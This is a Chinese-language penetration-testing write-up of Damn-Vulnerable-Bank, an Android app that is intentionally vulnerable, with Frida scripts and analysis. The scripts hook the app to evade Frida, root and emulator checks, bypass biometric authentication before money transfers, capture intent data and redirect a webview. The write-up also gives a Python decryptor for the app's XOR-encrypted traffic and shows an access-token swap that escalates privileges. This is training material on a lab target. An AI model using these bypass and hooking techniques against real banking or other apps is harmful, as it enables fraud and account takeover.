Damn-Vulnerable-Bank Writeup
把apk拖入jadx,先看看有没有什么有意思的so:

可见有工具检测和frida检测.接下来尝试过frida检测.
首先先写个script,看看app会在哪个so闪退:
点击查看代码
function getsoName(){
var addr = Module.findExportByName(null,"android_dlopen_ext");
Interceptor.attach(addr,{
onEnter:function(args){
let name = ptr(args[0]).readCString();
if(name !== null){
console.log('[+] 检测到so文件:')
console.log(" "+name);
}
},
onLeave:function(){}
})
}
setImmediate(getsoName);
用apktool解包,ida查看libfrida-check.so,其中一个方法Java_com_app_damnvulnerablebank_FridaCheckJNI_fridaCheck似乎有点意思,分析一下:
这段代码本质上就是在检查测试机27042(frida server默认端口)有没有被监听.故给frida server换个端口就过检测了:


注意一下frida server指定端口时ip地址不要写127.0.0.1,frida连接的时候用-H,不要写-U即可.
事实上,如果继续分析,在MainActivity的onCreat方法中就能发现frida检测的java层逻辑:

实际上,再往上看还能看到关于模拟器、debugger和root的检测代码,不妨一起分析一下:
此为app中的实际检测代码
public void onCreate(Bundle bundle0) {
super.onCreate(bundle0);
this.getWindow().setFlags(0x400, 0x400);
this.setContentView(0x7F0D001F); // layout:activity_banklogin
int v = (this.getApplicationInfo().flags & 2) == 0 ? 0 : 1;
FridaCheckJNI fridaCheckJNI0 = new FridaCheckJNI();
if(Debug.isDebuggerConnected()) {
Toast.makeText(this.getApplicationContext(), "Debug from vm", 1).show();
}
if(c.b.a.d.a < 0) {
int v1 = (Build.PRODUCT.contains("sdk")) || (Build.PRODUCT.contains("Andy")) || (Build.PRODUCT.contains("ttVM_Hdragon")) || (Build.PRODUCT.contains("google_sdk")) || (Build.PRODUCT.contains("Droid4X")) || (Build.PRODUCT.contains("nox")) || (Build.PRODUCT.contains("sdk_x86")) || (Build.PRODUCT.contains("sdk_google")) || (Build.PRODUCT.contains("vbox86p")) ? 1 : 0;
if((Build.MANUFACTURER.equals("unknown")) || (Build.MANUFACTURER.equals("Genymotion")) || (Build.MANUFACTURER.contains("Andy")) || (Build.MANUFACTURER.contains("MIT")) || (Build.MANUFACTURER.contains("nox")) || (Build.MANUFACTURER.contains("TiantianVM"))) {
++v1;
}
if((Build.BRAND.equals("generic")) || (Build.BRAND.equals("generic_x86")) || (Build.BRAND.equals("TTVM")) || (Build.BRAND.contains("Andy"))) {
++v1;
}
if((Build.DEVICE.contains("generic")) || (Build.DEVICE.contains("generic_x86")) || (Build.DEVICE.contains("Andy")) || (Build.DEVICE.contains("ttVM_Hdragon")) || (Build.DEVICE.contains("Droid4X")) || (Build.DEVICE.contains("nox")) || (Build.DEVICE.contains("generic_x86_64")) || (Build.DEVICE.contains("vbox86p"))) {
++v1;
}
if((Build.MODEL.equals("sdk")) || (Build.MODEL.equals("google_sdk")) || (Build.MODEL.contains("Droid4X")) || (Build.MODEL.contains("TiantianVM")) || (Build.MODEL.contains("Andy")) || (Build.MODEL.equals("Android SDK built for x86_64")) || (Build.MODEL.equals("Android SDK built for x86"))) {
++v1;
}
if((Build.HARDWARE.equals("goldfish")) || (Build.HARDWARE.equals("vbox86")) || (Build.HARDWARE.contains("nox")) || (Build.HARDWARE.contains("ttVM_x86"))) {
++v1;
}
if((Build.FINGERPRINT.contains("generic/sdk/generic")) || (Build.FINGERPRINT.contains("generic_x86/sdk_x86/generic_x86")) || (Build.FINGERPRINT.contains("Andy")) || (Build.FINGERPRINT.contains("ttVM_Hdragon")) || (Build.FINGERPRINT.contains("generic_x86_64")) || (Build.FINGERPRINT.contains("generic/google_sdk/generic")) || (Build.FINGERPRINT.contains("vbox86p")) || (Build.FINGERPRINT.contains("generic/vbox86p/vbox86p"))) {
++v1;
}
int v2 = v1;
try {
String s = GLES20.glGetString(0x1F01);
if(s != null) {
if(s.contains("Bluestacks")) {
goto label_269;
}
else {
boolean z = s.contains("Translator");
goto label_266;
}
}
}
catch(Exception exception0) {
exception0.printStackTrace();
}
goto label_271;
label_266:
if(z) {
v2 += 10;
goto label_271;
label_269:
v2 += 10;
}
try {
label_271:
boolean z1 = new File(Environment.getExternalStorageDirectory().toString() + File.separatorChar + "windows" + File.separatorChar + "BstSharedFolder").exists();
}
catch(Exception exception1) {
exception1.printStackTrace();
goto label_299;
}
if(z1) {
v2 += 10;
}
label_299:
c.b.a.d.a = v2;
}
int v3 = c.b.a.d.a <= 3 ? 0 : 1;
if(v3 != 0) {
Toast.makeText(this.getApplicationContext(), "Emulator Detected", 1).show();
}
if(v != 0) {
Toast.makeText(this.getApplicationContext(), "Debbuger is Running", 0).show();
}
if(a.R()) {
Toast.makeText(this.getApplicationContext(), "Phone is Rooted", 0).show();
this.finish();
}
if(fridaCheckJNI0.fridaCheck() == 1) {
Toast.makeText(this.getApplicationContext(), "Frida is running", 0).show();
Log.d("FRIDA CHECK", "FRIDA Server DETECTED");
this.finish();
}
else {
Log.d("FRIDA CHECK", "FRIDA Server NOT RUNNING");
Toast.makeText(this.getApplicationContext(), "Frida is NOT running", 0).show();
}
看数据名应该是一段加密数据,所以尝试分析一下如何对数据进行解密.直接找到对应的代码部分:

可见,本质上就是把数据和字符串'amazing'循环异或,然后base64编码.我们甚至可以写一个脚本解密数据:
点击查看代码
import base64
KEY = "amazing"
def Decrypt(text):
d64text = base64.b64decode(text)
detext = []
for i,s in enumerate(d64text):
detext.append(s^ord(KEY[i%len(KEY)]))
return bytes(detext).decode("utf-8", errors="replace")
def Encrypt(text):
entext = []
for i,s in enumerate(text):
entext.append(ord(s)^ord(KEY[i%len(KEY)]))
return base64.b64encode(bytes(entext))
if __name__ == "__main__":
enc_data = 'Gk8UCQwcCQAABFhTTAEJCwkdS0JFEQwSCR4BFQVPW1gPFwEGCgYdDkwa'
result = Decrypt(enc_data)
print(result)
然后登陆.把返回的数据解密一下,获得access token:
接下来尝试能不能使用这个access token实现越权.登陆测试帐号1,但在获取个人信息时将请求头中的Authorization替换为帐号2的.事实证明access token就是不同账号的身份鉴别信息:
当然,如何在实际过程中获取到别的账号的access token,是一个需要思考的问题.
在测试过程中,可以发现APP中可以添加转账账户,并查看添加的账户.测试添加账户功能之后,查看添加的账户,发现账户被标示"不可信":

点击转账按钮,发现没有可选择的转账账户.或许是因为账户不可信.所以考虑一下如何让账户变得可信.在dashboard,能看到一个"Approve Benf".点击之后页面闪退:

寻找这个activity页面.首先全局搜索"Exclusive endpoint",但没有结果.但在server掉线的时候,发现activity弹窗"Something went wrong!"

这句可以全局搜索到,因此确定该activity为ApproveBeneficiary.
查看Dashboard,发现其中没有直接启动ApproveBeneficiary,而是启动了PendingBeneficiary.查看可知,PendingBeneficiary启动了ApproveBeneficiary.


分析一下PendingBeneficiary,并没有发现什么值得关注的内容,同时也没发现什么权限鉴别代码.再次点击"Approve Benf"按钮,并对该过程抓包,可以确定鉴权应该是在server端进行了.分析PendingBeneficiary,发现activity跳转过程中在intent里塞了数据.

所以我们用frida看看intent里携带的数据是什么.结果竟然发现,ApproveBeneficiary完全没启动!

现在分析PendingBeneficiary.分析C0596p m29Z = C0000a.m29Z(this)这句代码,能确定这里是对应的volley创建requestqueue:

看了一圈,PendingBeneficiary似乎没有什么可利用的内容.那只能考虑抓请求包然后把header里的Authorization换成admin账号的,才能实现账户变的可信.
直接在docker中查看用户表:

使用admin账户登录,点击"Approve Benf"按钮,同时抓包,能看到数据包内容和实际界面内容:
此时,使用frida,能够确定,在现在这个页面,依旧是`PendingBeneficiary`,只有点击具体的账户后,才进入了`ApproveBeneficiary`.
查看`PendingBeneficiary`onCreat方法,可以发现有一个似乎很像volley 创建request的代码:
如果这确实是,那么C0622j,C0623k应该就是回调函数.跟过去分析,发现确实是:

可以发现,实际上回调函数就是根据请求的响应码来判断应该显示的内容的.接下来尝试抓这个请求包,并把请求包中的AUTHORIZATION属性改为admin账户的,理论上此时应该能够正常加载该activity.
实际尝试中,会发现请求具有严格的时间窗口,修改等操作会导致超时,连接断开.

使用admin账户对所有测试账号进行认证.对于认证过程,考虑MIMT修改请求或SQL注入.
接下来测试转账功能.分析相关代码,会发现转账过程存在生物识别,而且可以发现验证方式明显使用的是WEAK:

此外,可知验证成功的回调函数是a:

简单的分析一下a,可知就是向server发送转账请求完成转账.
考虑使用frida过生物识别:
frida过BioAuth
function BypassBioauth(){
Java.perform(
function(){
var prompt = Java.use("androidx.biometric.BiometricPrompt")
// var clz = Java.use("com.app.damnvulnerablebank.SendMoney$a")
var c = Java.use("androidx.biometric.BiometricPrompt$c")
var d = Java.use("androidx.biometric.BiometricPrompt$d")
var mac = Java.use("javax.crypto.Mac")
var mac_object = mac.getInstance("HmacSHA256")
var object_d = d.$new(mac_object)
var object_c = c.$new(object_d)
prompt.b.implementation = function(){
Java.choose("com.app.damnvulnerablebank.SendMoney$a",{
onMatch:function(instance){
instance.a(object_c)
},
onComplete:function(){}
})
}
}
)
}
既然SendMoney这个activity可导出,尝试直接触发转账.
首先先看一看在整个转账过程中,activity之间的启动关系,以及启动SendMoney被启动时,是否被传入了数据.
接下来用frida获取intent,看看传输的数据的内容.仅是分析代码的话,intent中传输的应该是account number.
frida get intent data script
function getDataInIntent(){
Java.perform(
function(){
var intent = Java.use("android.content.Intent");
intent.putExtra.overload(
'java.lang.String',
'java.lang.String'
).implementation = function(key,value){
console.log("[putExtra] " + key + " = " + value);
return this.putExtra(key, value);
}
}
)
}
确定传输数据的确是account number.
尝试直接启动activity SendMoney.
再尝试一下能不能用这样的方式转账给一个未添加的账户/未认证的账户.
实际测试后,会发现可以调出转账页面,但是提交请求后会报错"未经认证的账户",且能够确定这个识别过程是在server端进行的,因为解包server返回的数据包,其内容为"无效的输入".
接下来分析查看汇率功能.能够直接确定Activity CurrencyRates使用了webview,且启用了javascript.
按照代码,不难发现需要在intent中传递数据以改变webview加载的页面url.
尝试frida写个script.
frida修改webview加载页面
function addIntent(){
Java.perform(
function(){
var activity = Java.use("android.app.Activity")
var uri = Java.use("android.net.Uri");
activity.startActivity.overload("android.content.Intent")
.implementation = function(intent){
intent.putExtra("key","value")
intent.setData(
uri.parse(
"app://webview?url=https://baidu.com"
)
)
console.log(1)
this.startActivity(intent)
}
}
)
}
成功修改了加载的页面,考虑通过构造恶意页面来发动攻击.由于webview的设置并没有启用文件读取,也没有调用js方法,所以抓请求包,看看有没有敏感信息泄露.
没有看到关键的敏感信息,看来这个webview也没有很大的利用面.
最后来看看密码重置功能.
先重置一下,抓包看看请求内容.
审计相关代码,可知该部分并未存在可利用的漏洞.
此外,根据其他博客文章,可知该APP存在日志泄露敏感信息问题.
logcat看一下APP的日志:

很奇怪,不论做什么操作,都未能触发该日志.
浙公网安备 33010602011771号